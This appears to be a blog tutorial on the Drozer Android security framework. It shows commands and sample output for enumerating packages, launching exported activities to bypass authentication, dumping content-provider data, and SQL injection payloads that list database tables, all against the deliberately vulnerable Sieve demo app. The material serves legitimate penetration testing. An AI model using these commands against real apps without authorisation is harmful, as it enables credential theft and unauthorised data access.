Remember when we had to create a bunch of applications to check for vulnerabilities in Android applications?
Thanks to Drozer, an open source, one-stop combination that checks applications against known vulnerabilities, extra security due diligence is a thing of the past.
For installation and set up, visit https://github.com/mwrlabs/drozer. But let’s get started answering the question :
What can we do with Drozer?
Drozer can execute the following tasks:
1. Retrieve Package Information: Retrieve packages present in the connected devices and get information about any installed package.
To get list of all packages present in the device dz> run app.package.list
To search for a package name from the above list dz> run app.package.list -f <your_string>
To get basic info about any selected package dz> run app.package.info -a <package_name>
2. Identify Attack Surface: Explore vulnerabilities. Start with checking the number of exported activities, broadcast receivers, content providers and services. The commands are as follows:
To get list of exported Activities, Broadcast Receivers, Content Providers and Services: dz> run app.package.attacksurface <package_name> 3 activities exported 0 broadcast receivers exported 2 content providers exported 2 services exported is debuggable
3. Launch Activities: Launch the exported activities to try to bypass the authentication.
To get a list activities from a package dz> run app.activity.info -a <package_name>
To launch any selected activity dz> run app.activity.start --component <package_name> <activity_name>
4. Reading from Content Providers: Gather more information about the Content Providers exported by the application (under test).
To get info about the content providers: dz> run app.provider.info -a <package_name>
Example Result: Package: com.mwr.example.sieveAuthority: com.mwr.example.sieve.DBContentProvider Read Permission: null Write Permission: null Content Provider: com.mwr.example.sieve.DBContentProvider Multiprocess Allowed: True Grant Uri Permissions: False Path Permissions: Path: /Keys Type: PATTERN_LITERAL Read Permission: com.mwr.example.sieve.READ_KEYS Write Permission: com.mwr.example.sieve.WRITE_KEYS
The above content provider is named DBContentProvider, which can be assumed as a Database Backed Content Provider. It is very hard to guess the Content URIs, however, Drozer provides a scanner module that brings together various ways to guess paths and produce a list of accessible content URIs. We can get the content URIs with the following:
To get the content URIs for the selected package dz> run scanner.provider.finduris -a <your_package>
Example Result: Scanning com.mwr.example.sieve... Unable to Query content://com.mwr. example.sieve.DBContentProvider/ ... Unable to Query content://com.mwr.example.sieve.DBContentProvider/Keys Accessible content URIs: content://com.mwr.example.sieve.DBContentProvider/Keys/ content://com.mwr.example.sieve.DBContentProvider/Passwords content://com.mwr.example.sieve.DBContentProvider/Passwords/
We can now use other Drozer modules to retrieve information from those content URIs, or even modify the data in the database.
To retrieve or modify data using the above content URIs: dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Password/ --vertical
_id: 1 service: Email username: incognitoguy50 password: PSFjqXIMVa5NJFudgDuuLVgJYFD+8w== (Base64-encoded) email: firstname.lastname@example.org
Android platform encourages to use SQLite databases for storing data. SQLite databases can be vulnerable to SQL Injection. We can test for SQL injection by manipulating the projection and selection fields.
To attack using SQL injection: dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "'"
unrecognized token: "' FROM Passwords" (code 1): , while compiling: SELECT '
FROM Passwords dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --selection "'" unrecognized token: "')" (code 1): , while compiling: SELECT * FROM Passwords WHERE (')
Android returns a verbose error message showing the whole query we tried to execute and it can be used to exploit to list all the tables in the database.
To attack using SQL injection: dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "* FROM SQLITE_MASTER WHERE type='table';--"
| type | name | tbl_name | rootpage | sql |
| table | android_metadata | android_metadata| 3 |CREATE TABLE... |
| table | Passwords | Passwords | 4 |CREATE TABLE ...|
| table | Key | Key | 5 |CREATE TABLE ...|
A content provider can provide access to the underlying file system. This allows apps to share files, where the Android sandbox would otherwise prevent it.
To read the files in the file system dz> run app.provider.read <URI>
To download content from the file dz> run app.provider.download <URI>
To check for injection vulnerabilities dz> run scanner.provider.injection -a <package_name>
To check for directory traversal vulnerabilities dz> run scanner.provider.traversal -a <package_name>
5. Interacting with Services: Interact with the exported services, we can ask Drozer to provide more details using:
To get details about exported services dz> run app.service.info -a <package_name>
6. Advance Options: Perform more awesome commands to get more information:
shell.start — Start an interactive Linux shell on the device.
tools.file.upload / tools.file.download — Allow files to be copied to/from the Android device.
tools.setup.busybox / tools.setup.minimalsu — Install useful binaries on the device.
References or Further Reading: